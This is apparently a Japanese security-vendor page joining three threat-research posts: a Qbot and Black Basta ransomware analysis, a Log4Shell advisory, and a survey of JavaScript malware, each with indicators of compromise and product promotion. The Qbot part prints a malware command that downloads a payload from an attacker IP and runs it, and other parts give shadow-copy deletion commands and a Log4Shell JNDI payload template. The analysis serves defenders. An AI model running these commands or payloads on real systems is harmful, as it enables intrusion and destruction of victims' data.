asset_uid="blt1e4e1d589547368a" alt="図1- Qbotに感染させるためのなりすましメール" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1e4e1d589547368a/62fcfad7f544494c40366c5d/figure1-qbot-infection-email.png" /><figcaption >図1- Qbotに感染させるためのなりすましメール</figcaption></figure>添付された.HTMLファイルには、パスワードで保護された.ZIPファイルが埋め込まれており、.HTMLファイルを開くと、ユーザーのダウンロード フォルダにドロップされます。<figure style = "float: none;width: 634px;max-width:auto;"><img asset_uid="blt74c43cee63ad9d4b" alt="図2- .HTMLに埋め込まれた.ZIPファイル" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt74c43cee63ad9d4b/62fcfad81ed6c064a1d5a0d4/figure2-embedded-zip-file.png" /><figcaption >図2- .HTMLに埋め込まれた.ZIPファイル</figcaption></figure>パスワードで保護された.ZIPファイル（パスワードはメールに記載）には、Qbotの.DLLペイロードを被害者の一時ディレクトリに「goAlso.rtf」としてダウンロードしてregsvr32を使って実行するために、以下のコマンドを実行する.LNKファイルが含まれています。<figure style = "float: none;width: 705px;max-width:auto;"><img asset_uid="blt3b8e1abb5272f287" alt="図 3 - Qbot ペイロードのダウンロードと実行に関与する .LNK ファイル" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3b8e1abb5272f287/62fcfad7b4be734daff7f44c/figure3-lnk-file.png" /><figcaption >図 3 - Qbot ペイロードのダウンロードと実行に関与する .LNK ファイル</figcaption></figure><pre>%windir%\System32\cmd.exe /c %windir%\system32\curl -s -o %temp%\goAlso.rtf http[:]//146[.]70[.]79[.]52/fromMakeTell.dat&&%windir%\system32\regsvr32 %temp%\goAlso.rtf</pre>この例では、Qbotの.DLLペイロードは偽の証明書を使用して署名されており、その証明書はその後失効しています。<figure style = "float: none;width: 402px;max-width:auto;"><img asset_uid="blta3374f8dc03cdd86" alt="図4 - 署名入りQbotペイロード.DLL(実行時に有効)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta3374f8dc03cdd86/62fcfad8c95e235432830526/figure4-signed-qbot.png" /><figcaption >図4 - 署名入りQbotペイロード.DLL(実行時に有効)</figcaption></figure>Qbotは、最初のアクセス後、Cobalt StrikeやAdFindなどのツールを使用して、ネットワーク上を横方向に移動し、RDPログオンを可能にし、被害者ネットワークを水平移動する際にセキュリティを無効化します。ランサムウェアBlack Bastaの動き次に、ランサムウェアBlack Bastaの攻撃がどのように行われるかを見ていきます。Windows版とESXi版の2種類の亜種があります。Windowsの亜種Black BastaはC++で書かれており、コードの難読化やパッキングを行わず、多くのハードコードされた機能を含んでおり、まだ作業中である可能性が示唆されています。Black Bastaは、配信および実行されると、ハードコードされたミューテックス（「dsajdhas.0」）の存在を確認し、見つからない場合は、それを作成して、被害者のシステム上に存在するシャドーコピーを削除し、データの復旧を阻害します。<figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blt23411912af3212c6" alt="図5 - Mutex Check" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt23411912af3212c6/62fcfad89b71de52f5de8ccb/figure5-mutex-check.png" /><figcaption >図5 - Mutex Check</figcaption></figure><figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="bltf4fe8e89d84a94a6" alt="図6 - Mutexの作成" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf4fe8e89d84a94a6/62fcfad8da3c526fe63149ad/figure6-mutex-creation.png" /><figcaption >図6 - Mutexの作成</figcaption></figure><figure style = "float: none;width: 536px;max-width:auto;"><img asset_uid="bltbe302a18ddf0bb95" alt="図7 - シャドーコピーの削除" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbe302a18ddf0bb95/62fcfad82914326e6e5fc98a/figure7-shadow-copy-deletion.png" /><figcaption >図7 - シャドーコピーの削除</figcaption></figure>上記の部分的なスニペットの結果、被害者のマシンで以下のコマンドが実行されます。<pre>cmd.exe /c C:\Windows\SysNative\vssadmin.exe delete shadows /all /quiet cmd.exe /c C:\Windows\System32\vssadmin.exe delete shadows /all /quiet </pre>ミューテックスが見つかった場合、Black Bastaは通知を表示し、自身を終了させる。<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt0dd622ad1da7c1fb" alt="図8 - Mutexを検知" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0dd622ad1da7c1fb/62fcfad80ec5277181618289/figure8-mutex-detected.png" /><figcaption >図8 - Mutexを検知</figcaption></figure>これは、多くの種類のランサムウェアに共通する動作です。Black Basta ランサムウェアはどのように動作するのか？シャドー・コピーの削除に続いて、Black Bastaはシステムの壁紙を変更し、自身の「.basta」暗号化ファイル拡張子にデフォルトのファイル・アイコンを設定します。この両方が実行ファイルにハードコードされて、ユーザーの%temp%ディレクトリに書き込まれます（この手法もランサムウェアでは一般的です）。<figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blte6f2d4adde9c72d2" alt="図9 - 壁紙を設定" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte6f2d4adde9c72d2/62fcfad89b71c064a05846c9/figure9-sets-wallpaper.png" /><figcaption >図9 - 壁紙を設定</figcaption></figure><figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="blt503ed1a1ec312171" alt="図10 - デフォルトのファイルアイコンを設定" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt503ed1a1ec312171/62fcfad8c43eaf6744339958/figure10-sets-default-file-icon.png" /><figcaption >図10 - デフォルトのファイルアイコンを設定</figcaption></figure>Black Bastaは次に、実行マシンを完全に「破壊」する可能性を減らすために、ファイルシステムのいくつかの場所とファイル拡張子（以下に示す自身のものを含む）を除いて、被害者のファイルシステム上のファイルを暗号化します。これは、ランダムに生成されたChaCha20鍵を使用して行われ、次にハードコードされたRSA公開鍵を使用して暗号化され、すべての暗号化ファイルの末尾に付加されます。ChaCha20とRSAの組み合わせを使うのは、大量のデータを暗号化するのにかかる時間を短縮するにあたり、比較的高速であることが理由だと思われます。除外項目：<ul><li>$Recycle.Bin（ごみ箱）</li><li>Windows</li><li>Documents and Settings</li><li>Local Settings</li><li>Application Data</li><li>OUT.txt</li><li>boot</li><li>readme.txt (身代金メモ)</li><li>dlaksjdoiwq.jpg (その壁紙)</li><li>NTUSER.DAT</li><li>fkdjsadasd.ico (デフォルトのファイルアイコン)</li><li>.com</li><li>.exe</li><li>.bat</li><li>.cmd</li><li>.basta (ファイル拡張子)</li></ul>実行ファイルにハードコードされた身代金メモも、"readme.txt "として暗号化され、ハードコードされた "被害者ID "を含むすべてのファイルシステムの場所に落とされます。身代金請求書は、Black BastaオペレータのTORサイトを参照しています。<figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="bltea3a6f0ddda59d54" alt="図11 - ランサムノート" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltea3a6f0ddda59d54/62fcfae69b71de52f5de8ccf/figure11-ransom-note.png" /><figcaption >図11 - ランサムノート</figcaption></figure>Black Bastaのオペレータは、組み込みの「-forcepath」コマンドラインパラメータを使用し、暗号化する特定のパスを指定することで、特定のファイルシステムのパスを選択的に暗号化することもできます。これにより、作業者はマシン全体を経由することなく特定のパスを暗号化することができ、実行時間を大幅に短縮することができます。<figure style = "float: none;width: autopx;max-width:auto;"><img asset_uid="bltdf3c623b7eb119dc" alt="図12 - 強制パス" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltdf3c623b7eb119dc/62fcfae6ea0d864c464ac844/figure12-forced-path.png" /><figcaption >図12 - 強制パス</figcaption></figure>調査したBlack Bastaのサンプルには、データ流出の仕組みは含まれておらず、データの流出はランサムウェアのペイロードが送り込まれる前に行われるものと推測されます。ESXiの亜種Black BastaのLinux/ESXi亜種は、Windows亜種と非常によく似ており、どちらの亜種も同じハードコードされた身代金メモを含み、同じ暗号化スキームを使用しています。ESXiの場合、ESXiサーバ上のすべての仮想マシンデータを含む「/vmfs/volumes」内のデータを暗号化し、サーバ自体を破壊することなく、サーバ上で動作していたすべてのものを停止させます。さらに、「-forcepath」コマンドラインパラメータを使用して、特定のオペレーティングシステムのパスを暗号化する機能も同様に含まれています。なお、この亜種は、Windows Sub-System for Linux（WSL）により、Windowsシステム上でも実行可能で、この手法は、攻撃対象としてますます注目されています。結論：Deep Instinct によるランサムウェアBlack Bastaの予防Black Bastaは特に巧妙というわけではありませんが、Qbotを使用しているため、被害にあう可能性が高くなっています。またLinux/ESXiの亜種を使用しているため、WindowsワークステーションとESXiサーバの両方を標的とする可能性があり、組織にとって特に危険な存在です。Deep Instinctは、Black Bastaやその他の高度なマルウェアを、実行前に防止します。Deep Instinctは、悪意のあるファイルの実行を防ぐためにディープラーニングモデルを使用し、既知、未知、ゼロデイ脅威を20ミリ秒未満で予測、防止することができ、ランサムウェアの最速暗号化よりも750倍速いスピードで実行します。ディープラーニングによる予防ファーストアプローチにより、最先端の脅威であっても99%以上のゼロデイ精度で検知・防御することが可能です。マルウェア、ランサムウェア、ゼロデイ対策について、より詳しく知りたい方は、こちらからデモをリクエストください<a href="https://info.deepinstinct.com/ja-jp/request-a-demo">https://info.deepinstinct.com/ja-jp/request-a-demo</a><h2>IOCs</h2><h3>Qbot</h3><table><colgroup data-width='664'><col style="width:40.81329999999999%"/><col style="width:59.1867%"/></colgroup> <tbody> <tr> <td>CrmReport_948575.html (sha256)</td> <td>3b5ff11fe11246c91d29cde511a22636524e91e29842dde6327fe92484e08f47</td> </tr> <tr><td>CrmReport_948575.zip (sha256, password = abc123)</td> <td>7c79cd208b8d052bbc957d70b21dc4f548f2f48e2696005b99ff4ce5cf41f5d1</td> </tr> <tr> <td>CrmReport_948575.lnk (sha256)</td> <td>ff4fe3c3f2f6a65f43943b3326dd47686bc48c53a7c6714602c1b547a8e8b538</td> </tr> <tr> <td>Qbot Payload (sha256)</td> <td>7385cc993ec169ad06a4e367b5ad65b9d6a231fe385d11fe8c3757d557932e8c</td> </tr> <tr> <td>Qbot Payload (sha256)</td> <td>99692f5a1ca26b896d8c3220c42db7adc3007837a9b0d12d60d888f01f92fbbf</td> </tr> <tr> <td>Payload Host</td> <td>http[:]//146.70.79.52/</td> </tr> <tr> <td>Qbot payload certificate thumbprint (sha1)</td> <td>2bee3f716b80273db9639376a296cf19cdba0f1a</td> </tr> </tbody></table>&nbsp;<h3>Black Basta</h3><table><colgroup data-width='661'><col style="width:40.84720000000001%"/><col style="width:59.152800000000006%"/></colgroup> <tbody> <tr> <td>Black Basta Windows Variant (sha256)</td> <td>203d2807df6ef531efbec7bfd109986de3e23df64c01ea4e337cbe5ba675248b</td> </tr> <tr> <td>Black Basta Windows Variant (sha256)</td> <td>9fce9ee85516533bae34fc1184a7cf31fa9f2c7889b13774f83d1df561708833</td> </tr> <tr> <td>Black Basta Linux/ESXi Variant (sha256)</td> <td>0d6c3de5aebbbe85939d7588150edf7b7bdc712fceb6a83d79e65b6f79bfc2ef</td> </tr> <tr> <td>Black Basta TOR site</td> <td>https[:]//aazsbsgya565vlu2c6bzy6yfiebkcbtvvcytvolt33s77xypi7nypxyd.onion/</td> </tr> </tbody></table>&nbsp;<h3>Black Basta – Victim system IOC</h3><table><colgroup data-width='308'><col style="width:59.09089999999999%"/><col style="width:40.909099999999995%"/></colgroup> <tbody> <tr> <td>Mutex</td> <td>Mdsajdhas.0</td> </tr> <tr> <td>Wallpaper</td> <td>%temp%\dlaksjdoiwq.jpg</td> </tr> <tr> <td>File Icon</td> <td>%temp%\fkdjsadasd.ico</td> </tr> <tr> <td>Registry</td> <td>HKCR\.basta\</td> </tr> </tbody></table>

ランサムウェア「Black Basta」に勝つには

Log4Shell (CVE-2021-44228) – What You Need to Know

Log4Shell-Blog.jpg

<h5>概要</h5>

12月9日、Apacheのログ収集ツールであるLog4j2に、深刻なリモートコード実行の脆弱性が公開されました。Log4j2は、商用、非商用、自社開発のアプリケーションやユーザーがログ収集のために広く使用しているオープンソースのJavaフレームワークで、過去のすべてのバージョンに影響を与えます。
脆弱性の利用方法が単純であることや、さまざまな製品の多くのコンポーネントでLog4jライブラリが大量に使用されていることから、この脆弱性を実装したPOCがGithub上で公開されているのをすでに確認しています。 


この脆弱性は「Log4Shell」と呼ばれており、その根本的な原因はLog4j2の作成者によって修正されています。Log4j2を使用しているすべてのユーザー、またはLog4j2を採用しているアプリケーションは、最新バージョン（v2.15.0）のフレームワークまたは各アプリケーションにアップデートすることを強く推奨します。 

Deep Instinct社の製品、エージェント、クラウドインフラストラクチャ、およびサーバは、log4j2を使用または依存していないため、log4j2によって危険にさらされることはなく、その悪用に対して脆弱ではありません。 


興味深いことに、JNDIとLDAPが脆弱なソフトウェアの原因となるのは今回が初めてではありません。Black Hat 2016の期間中、研究者はこの2つのコンポーネントを活用したリモートコード実行を成功させる方法を発表しました。 <h5>Log4Shellの特徴とは？ </h5>

「Log4Shellは、Java Naming and Directory Interface (JNDI)とLightweight Directory Access Protocol (LDAP)を悪用し、Log4jを実行しているアプリケーションやサーバーに悪意のあるペイロードを取得·実行させることができます。 

1990年代からJavaに搭載されているJNDIは、Javaプログラムやアプリケーションが遠隔地のデータを見つけて利用することを可能にします。LDAPは、業界標準のアプリケーション層のプロトコルで、インターネット-プロトコル（IP）を介してリモートディレクトリにアクセスすることができます。 

この脆弱性は、非常に簡単に利用することができ、（場合によっては）細工したUser-Agent HTTPリクエスト·ヘッダーだけで利用することができ、すでに複数のPOCコードが公開されています。 

要するに、脆弱なアプリケーションに特定の形式の文字列をログに書き込ませるだけで、脆弱性を「作動」させることができます。 

最も簡単な方法では、攻撃者は、HTTPリクエストのUser-Agentヘッダーを、${jndi:ldap://&lt;malicious_server:port&gt;/&lt;malicious_payload&gt;}のような形式に変更することができます。これは、受信側のアプリケーションによってログに記録され、Log4jが悪意のあるペイロードを取得し、任意に実行する原因となります。 

この脆弱性は特に危険で、脆弱なアプリケーションとやりとりする誰もが、そのアプリケーションをホストするマシン上で任意のコードをリモートで実行することができ、偵察から標的となるネットワークへの初期アクセス、ランサムウェアの配信まで可能になります。 <h5>現在の確認されている影響範囲</h5>

ざまな分野の企業が影響を受けています。これらの企業だけでなく、そのサービスを利用しているお客様も危険にさらされています。 <h5>Deep Instinct vs CVE-2021-44228 </h5>

log4j2の脆弱性の悪用に成功した場合、Deep Instinctのエージェントベースのソリューションは、侵害されたマシンや環境から発信されるシェルコードや悪意のあるペイロードの実行を防ぎます。Log4Shellエクスプロイトによって配信される悪意のあるペイロードは、ディープインスティンクトのエージェントがディープラーニングのモデルを使って実行前の段階で防止することができます。


下のビデオは、Deep Instinctを搭載したWindows マシンがこの脆弱性の悪用から保護される様子を示しています。ここではDeep InstinctのWindows用エージェントD-Clientが、脆弱性のあるサービスを実行するWindowsマシンにインストールされています。攻撃者側のkaliマシンは、WindowsマシンにエンコードされたPowerShellコマンドの実行を試みる悪意のあるHTTPリクエストを送信することで、このサービスを攻撃しようとしています。

<h4>推奨される対応策と緩和策</h4><ul></ul><ul>
<li>まず、log4j2をこの脆弱性の影響を受けない最新のバージョン2.15.0に直ちにアップグレードしてください</li>
<li>バージョン（2.10以上）を使用している場合は、設定システムプロパティ「log4j2.formatMsgNoLookups」を「true」に設定してください（バージョン2.15.0のデフォルト）</li>
<li>以前のバージョン（2.0_beta9 - 2.10.0）での保護は、クラスパスから JndiLookup クラスを削除することで可能です</li>
<li>log4jと相互作用するすべてのコードへの入力検証メカニズムの実装してください</li></ul><h5>対策ガイドの詳細：</h5>
<a href="https://logging.apache.org/log4j/2.x/manual/migration.html"></a><ul>
<li><a href="https://logging.apache.org/log4j/2.x/manual/migration.html">https://logging.apache.org/log</a>...</li>
</ul><h5>以下のコマンドを使用して、log4jのRCE脆弱性に対する悪用の試みを検索することができます。</h5><ul><a href="https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b">
</a><li><a href="https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b">https://gist.github.com/Neo23x... </a></li></ul><h5>参考文献</h5>
<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228" target="_blank" rel="noreferrer noopener"></a>
<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228">https://nvd.nist.gov/vuln/detail/CVE-2021-44228</a> - CVE details and scores

<a href="https://logging.apache.org/log4j/2.x/security.html">https://logging.apache.org/log4j/2.x/security.html</a> - Log4j 2.15.0 patch notes

<a href="https://logging.apache.org/log4j/2.x/download.html">https://logging.apache.org/log4j/2.x/download.html</a> - Log4j2 latest version (2.15.0) 

<a href="https://github.com/YfryTchsGD/Log4jAttackSurface">https://github.com/YfryTchsGD/Log4jAttackSurface</a> - list of affected components

Log4Shell (CVE-2021-44228) 脆弱性について知っておくべきこと

JavaScript-Blog2.jpg

近年、スクリプトベースの攻撃は大きな脅威となっており、全世界のサイバー攻撃の40％以上を占めるとも言われています。スクリプトには、システム設定やタスクの自動化など一般的な目的で使用される一連の単純なコマンドから、より高度で多層化された難読化されたコードまで、さまざまなものがあります。一般的に使用されているスクリプト言語には、PowerShell、VBScript、JavaScriptがあります。

その中でもPowerShellが最も悪意のあるスレットアクターに使用されていますが、WindowsのJavaScriptが同様の目的で使用されていることも事実です。Windowsは、カプセル化された形でJavaScriptを実行するブラウザ以外に、Windows Script Host（WSH）でJavaScriptを実行する機能を提供しています。Windows Script Hostは、wscript.exeおよびcscript.exeというWindowsプロセスの下でJavaScript（およびWindowsがサポートする他のスクリプト言語）を実行し、敵対者が悪用できる攻撃対象を提供します。

JavaScriptマルウェアは、追加のマルウェアを配信することを目的としたシンプルなドロッパーから、それ自体に十分な機能を備えた多目的マルウェアまで、さまざまな種類があります。

このブログでは、JavaScriptを利用した5つの著名なマルウェアの概要を紹介します。その中でも、コードの難読化を徹底し、コンパイル済みのバイナリを使用しないことで静的な検出シグネチャに挑戦することが多い「純粋な」JavaScriptマルウェアに重点を置いています。この記事は、それぞれのマルウェアの詳細な分析ではなく、各マルウェアのより高度なレビューであることに留意してください。

VJw0rm
"Vengeance Justice Worm "は、2016年に初めて発見され、高度に多機能でモジュール化されており、一般に入手可能な「商用マルウェア」、すなわち、様々なサイバー犯罪やハッキング関連のフォーラムやチャネルを通じて、関心のある人が購入することができるものです。

VJwOrmは、JavaScriptベースのマルウェアで、ワーム、情報窃取者、リモートアクセストロイの木馬（RAT）、サービス妨害（DOS）マルウェア、スパムボットの特性を兼ね備えています。

VJw0rmは、主に悪意のある電子メールの添付ファイルや、取り外し可能なストレージデバイスに感染することで伝播します。

犠牲者によって実行されると、非常に高度に難読化されたVJw0rmは、インストールされているドライブを列挙し、取り外し可能なドライブが見つかると、そうするように設定されていれば、VJwOrmはそのドライブに感染します。

VJw0rmは、オペレーティングシステムの詳細、ユーザーの詳細、インストールされているアンチウイルス製品の詳細、保存されているブラウザのクッキー、システム上のvbc.exeの存在（Microsoftの.NET Visual Basic Compiler、これは.NETがシステムにインストールされていることを示し、アクターの追加マルウェア配信の選択に影響を与える可能性がある）、システムが以前に感染していたかどうかなどの被害者情報を収集し続けます。

VJw0rmは、この情報をコマンド＆コントロールサーバーに報告し、追加のマルウェアのダウンロードや実行、その他の数多くの機能の使用など、さらなるコマンドを待ちます。

最後に、VJw0rmは、レジストリの自動実行、システムのスタートアップフォルダ、スケジュールされたタスク、またはこれらの方法の組み合わせの形で持続性を確立します。<img data-image="rt58o2im2cb2" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt75fb256c8f90f18d/61820523ffff367907221b06/image.png" data-sys-asset-uid="blt75fb256c8f90f18d" alt="image.png">
図1：難読化されたVJw0rmのスニペット<img data-image="noljfjd0y1s2" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3fbf1650ba6e3557/61820531898f1d7860f27ecd/image.png" data-sys-asset-uid="blt3fbf1650ba6e3557" alt="image.png">
図2：VJw0rmが以前に感染したかどうかを確認する <img data-image="oqxfibkcxo6e" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt72586db124418c17/6182053b898f1d7860f27ed1/image.png" data-sys-asset-uid="blt72586db124418c17" alt="image.png">
図3：VJw0rmのコマンド＆コントロールの接点<img data-image="87ws3ool10pz" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltefca47f9a397aa37/61820545ffff367907221b0a/image.png" data-sys-asset-uid="bltefca47f9a397aa37" alt="image.png">
図4：VJw0rmがパーシステンスを確立する
WSHRat Houdini、H-worm、Dunihi、その他いくつかの別名で知られるWSHRatもまた、「商用マルウェア」の1つであり、そのルーツをたどると、もともとVBSで開発されていた2013年にさかのぼることができます。WSHRatの亜種自体は、以前から知られていたHoudini/H-WormのJavaScriptベースのバージョンとして2019年に出現し、VBSで書かれていました。


すべてのリモートアクセス型トロイの木馬（RAT）と同様に、WSHRatの主な目的は、マシンへのアクセスを維持し、リモートコマンドを実行し、追加のマルウェアをダウンロードすることです。

WSHRatは、主に悪意のある電子メールの添付ファイルによって伝播しますが、リムーバブル·ストレージ·ドライブにも感染することができます。

被害者によって実行されると、非常に高度に難読化されたWSHRatは、上記のVJw0rmと同様のコースを辿ります。すなわち、オペレーティングシステムとユーザーの詳細、インストールされたアンチウイルス製品の詳細を収集し、これをコマンドアンドコントロールで報告し、リムーバブルストレージドライブに感染するように設定されていれば実行し、さらなるコマンドを待ちます。

このマルウェアのVBSベースの亜種である "Houdini "は、最近報告された航空業界を対象とした非常に長期にわたるスパイ活動に関与していたことが知られています。

NJrat/BladabindiとRemcos RATは、Houdini/WSHRatの一般的なフォローアップペイロードです。 <img data-image="qyxp9t00i0ob" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5408dfc1438ee462/61820554a1ce11650a8d2979/image.png" data-sys-asset-uid="blt5408dfc1438ee462" alt="image.png">
図5：難読化されたWSHRatのスニペット<img data-image="tn79t91xp2ly" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7eca66090e2ad7fe/6182055db23afd586010621c/image.png" data-sys-asset-uid="blt7eca66090e2ad7fe" alt="image.png">
図 6:WSHRat コマンド＆コントロール·コンタクト<img data-image="txjzyz65rck7" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3868ae4db163d063/61820564953e1e6504007c20/image.png" data-sys-asset-uid="blt3868ae4db163d063" alt="image.png">
図7：WSHRatが持続性を確立する 
STRRAT STRRATは、2020年に発見されたJavaScriptのラッパー/ドロッパーを備えたJavaベースのRATです。その中核となるペイロード（.JARファイル）は、JavaScriptのラッパー/ドロッパーの中に数層の難読化とエンコードの下に含まれています。
STRRATは、悪意のある電子メールの添付ファイルによって伝播します。STRRATの機能には、標準的なRATの機能（リモートアクセス、リモートコマンドの実行）、ブラウザやメールクライアントの認証情報の取得、そしてランサムウェアに似た独自の機能があります。指示があれば、デバイス上のファイルに「.crimson」という拡張子を追加し、操作不能にします（ただし、コンテンツは変更されないため、簡単に復元できます）。
STRRATは、多くのJavaベースのマルウェアとは異なり、動作のために感染したシステムにJavaがインストールされている必要はありません。JavaScriptのラッパー/ドロッパーが実行される際に、適切なJavaランタイムのインストールが見つからない場合は、含まれるJavaペイロードの実行を保証するために、ランタイムがダウンロードされ、インストールされます。<img data-image="i2kqllnrglb4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd686ff8df08503c7/6182056eb23afd5860106222/image.png" data-sys-asset-uid="bltd686ff8df08503c7" alt="image.png">

図8: STRRATコア·ペイロード·スニペット（エンコードおよび難読化されたもの
<img data-image="e5lzk05lu00z" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte2b49399858c273c/6182057571dc1b799a73f782/image.png" data-sys-asset-uid="blte2b49399858c273c" alt="image.png">
図9：STRRATの "Bring Your Own JRE "機能 <img data-image="rirvzf0a0gh4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt05a1934a3baf7889/6182057ec9714c667b4fe23f/image.png" data-sys-asset-uid="blt05a1934a3baf7889" alt="image.png">

図10：STRRATによるペイロードの展開と実行

BlackByte ランサムウェア BlackByteは、最近発見されたランサムウェアで、 .NET DLLコアのペイロードをJavaScriptでラップしています。このランサムウェアは、JavaScriptのラッパーと.NET DLLコアの両方に高度な難読化を施しています。


JavaScriptのラッパーが実行されると、このマルウェアはコアのペイロードの難読化を解除し、メモリ内で実行します。コアの.DLLがロードされると、BlackByteはインストールされているオペレーティングシステムの言語をチェックし、東欧の言語が見つかった場合は何もせずに終了します。

さらに、アンチウイルスやサンドボックス関連の.DLLの存在を確認し、AMSIのバイパスを試み、システムの復旧を妨げるためにシステムのシャドーコピーを削除し、Windowsファイアウォールを含むその他のシステムサービスを変更して、システムを暗号化するための「準備」を行います。システムの暗号化の「準備」が完了すると、システム上のファイルを暗号化するために使用される対称鍵ファイルをダウンロードします。このファイルが見つからない場合、マルウェアは終了します。

今日の多くのランサムウェアとは異なり、BlackByteは単一の対称暗号化キーを使用し、被害者のシステムごとに固有の暗号化キーを生成しません。つまり、マルウェアによって暗号化されたすべてのファイルの復号に同じキーを使用することができます。

これにより、BlackByteの開発者は鍵の管理が大幅に容易になりますが、その代償として暗号化方式が弱くなり、被害者システムの復旧が容易になります（管理する鍵が1つのオンラインポイントのみであるため）。

今日のほとんどのランサムウェアと同様に、BlackByteにはワーム機能があり、同じネットワーク上の他のエンドポイントにも感染させることができます。 <img data-image="q5oyop7lvout" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt56c783ece3992782/6182058971dc1b799a73f786/image.png" data-sys-asset-uid="blt56c783ece3992782" alt="image.png">
図11：BlackByteの暗号化された.NETペイロードの一部を示しています<img data-image="79ii60vrkupx" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc7be9ba6cb1060cf/61820590912a3c799bc420e4/image.png" data-sys-asset-uid="bltc7be9ba6cb1060cf" alt="image.png">

図12：BlackByteのAMSIバイパス
Carbanak/FIN7 JavaScript バックドア Carbanak/FIN7は、ほとんど紹介する必要がありません。2014年に発見された彼らは、今日活動している中で最も多くの成功を収めている、金銭的な動機を持つ脅威アクターの1つであり、世界中の無数の金融機関に推定10億ドルの損失を与えています。

Carbanak/FIN7がマルウェアを拡散する主な手段は、高度に標的化された効果の高いスピアフィッシングメールで構成されています。

しかし、最近発見されたJavaScriptベースのバックドアは、Carbanak/FIN7の活動の方向性を示しているように見えます。これは、PowerShellベースのマルウェアを中心としていたものが、JavaScriptに移行したことを意味しており、セキュリティベンダーに検知されにくくすることを狙ったものと思われます。

バックドアが実行されると、サンドボックスによる自動検出を回避するために2分間の遅延（解析タイムアウト）が発生し、感染したマシンのIPアドレス、MACアドレス、DNSホスト名を収集してコマンド＆コントロールサーバーに報告し、応答として受け取ったコードを実行します。

Carbanak/FIN7は、Cobalt Strikeを不正侵入後のフォローアップマルウェアとして採用していることが知られています。<img data-image="o7yucmahpyf4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta09ae3cb37666536/61820599912a3c799bc420e8/image.png" data-sys-asset-uid="blta09ae3cb37666536" alt="image.png">

図13：難読化されたCarbanakバックドアのスニペット
<img data-image="l5lt9q48mfr1" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltce6de2a81bee1d72/618205a1cc735f786653a65a/image.png" data-sys-asset-uid="bltce6de2a81bee1d72" alt="image.png">

図14：Carbanakバックドアの遅延機能
<img data-image="wupffks33z5i" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7c1af91da88b2ec2/618205a919df7c77cdb1f50f/image.png" data-sys-asset-uid="blt7c1af91da88b2ec2" alt="image.png">

図15：Carbanakバックドアが被害者の情報を収集する
<img data-image="9esunk3hbc0k" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte6e12c645868febc/618205b9cc735f786653a65e/image.png" data-sys-asset-uid="blte6e12c645868febc" alt="image.png">

図 16: Carbanak Backdoor Command and Control URL "constructor" function
<img data-image="sp0nssqpsd66" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta5ef3970bbe29510/618205c2c9714c667b4fe243/image.png" data-sys-asset-uid="blta5ef3970bbe29510" alt="image.png">
図 17: Carbanak Backdoor コマンド＆コントロールの連絡先
まとめ JavaScriptの世界には、あらゆる種類のマルウェアが蔓延しており、非常にダイナミックです。これらは、無視できない重大な脅威となっています。


世界中の脅威関係者が、JavaScriptベースのマルウェアを開発·維持しており、その機能性や巧妙さは、Windowsでサポートされている他のスクリプト言語と同等のものが存在しています。

世界最高のマルウェア対策ソリューションのデモをご希望の方は、デモをリクエストしてください。

検査済みサンプルのIOC
VJw0rm

SHA256: 080069323805f67a898f62517b17786d46cc51e9894cd490ee0ba789271e1d9c

C2: 180.214.239.36:8050

WSHRat

SHA256: ec5d3e6da18db71027ea5a54ff0e4be63313b4986d3ef8b020a4a79ae3866571

C2: jahblessrtd4ever.home-webserver.de:1604

Drops Remcos RAT: 52cbc7b3e3c373b8857245207f0cfca50c35b6edc49255441f74fdf45a71ac46

(Remcos employs same C2 as WSHRat)

STRRAT

SHA256: 213c775b371b55c48308650f29ad041a889ef24bf58069d380b4be6e558b82e9

SHA256 (JAR): 6b723bd260b53c68c716ef218c78718d3e99ab4d4238a4bd823fd0cd6ec8007b

"bring your own JRE” URL: wshsoft.company/jre7.zip

C2: str-master.pw 

BlackByte Ransomware

SHA256: 884e96a75dc568075e845ccac2d4b4ccec68017e6ef258c7c03da8c88a597534

Key file URL: 45.9.148.114/forest.png

Carbanak/FIN7 JavaScript Backdoor

SHA256: caa7667bfdbcb04ceb9d81df93fe805dfe4ac8a04b9dd3eaab7b5f7c87c4fc9c

